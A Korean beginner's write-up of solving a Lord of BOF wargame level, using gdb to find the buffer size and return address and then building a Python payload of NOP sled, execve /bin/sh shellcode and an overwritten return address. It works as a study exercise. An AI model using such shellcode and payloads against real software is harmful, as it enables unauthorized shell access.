system hacking을 차근차근 한번 공부해보기 위해 1단계로 bof를 골랐다.
그래서 이제 lob를 하나씩 풀기로 했습니다.
이것도 소스코드부터 확인해봅시다.
정말 대놓고 bof 문제다.
우선 풀이를 할 내용을 간단하게 요약하자면
1. 특정 메모리(주소를 알 수 있는)에 shellcode를 입력한다.
2. RET주소에 shellcode를 입력한 주소를 넣어준다.
말은 참 쉽다.....
뭘 하던 일단 gdb로 열어보았다.
/tmp로 복사해서 열어봐야 볼 수 있다.
stack에 dump는 없나보다.
선언한 256byte만 사용하고 있다. <main+3>
그럼 일단 여기까지 payload는 "A"*260+"RET"이다.
우연히 알았지만 이 프로그램엔 ASLR이 걸려있지 않다.
ASLR은 stack의 주소를 random하게해 프로그램을 실행할 때 마다 다르게 되도록 만드는 보안기법이다.
argv[1]은 0xbffff978에서부터 입력되고 RET는 0xbffffa7c이다.
shellcode는 구글링을 통해 24byte짜리 코드를 사용했다.
여기서 만들어본 payload는
`python -c 'print "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*236 + "\x78\xf9\xff\xbf"'`
안된다.
구글링해보면 2가지가 이유였다.
bash2를 해주지 않으면 \xff의 입력이 잘 되지 않는다는 것이 하나였고
"\x90"으로 안정성있게 실행시켜야 한다는 것이 하나였다. ( 사실 제대로 이해는 못했다. )
2가지를 적용해서 다시 payload를 만들어보았다.
`python -c 'print "\x90"*100 + "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*136 + "\x78\xf9\xff\xbf"'`
이번엔 된다.
\x90에 대해서 다시 한번 검색해봐야 될 것 같다.